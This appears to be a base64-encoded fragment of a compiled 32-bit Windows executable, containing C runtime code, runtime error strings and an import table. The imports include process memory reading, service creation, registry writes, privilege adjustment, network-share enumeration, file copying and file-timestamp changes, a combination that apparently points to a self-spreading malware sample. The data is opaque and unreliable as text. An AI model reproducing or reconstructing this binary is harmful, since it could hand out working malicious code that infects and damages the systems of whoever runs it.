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 CsB0LooGRoonRzjEdPIsQTwaGsmA4SACwQRBhuAsQTwaGsmA4SACwQRBOOB00hrAHP8PvsDr NLj/AAAAM9uL/wrAdCeKBkaKH0c42HTyUFPoPbH//4vYg8QE6DOx//+DxAQ4w3TaG8CD2P9b Xl/Jw1WL7FGhPDlJAFMz2zvDiV38dSGLRQiL0DgYdH+KCoD5QXwKgPlafwWAwSCICkI4GnXq 62dWV2oBU1NTav++AAEAAP91CFZQ6AnA//+L+IPEIDv7dDhX6AzM//87w1mJRfx0KmoBU1dQ av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 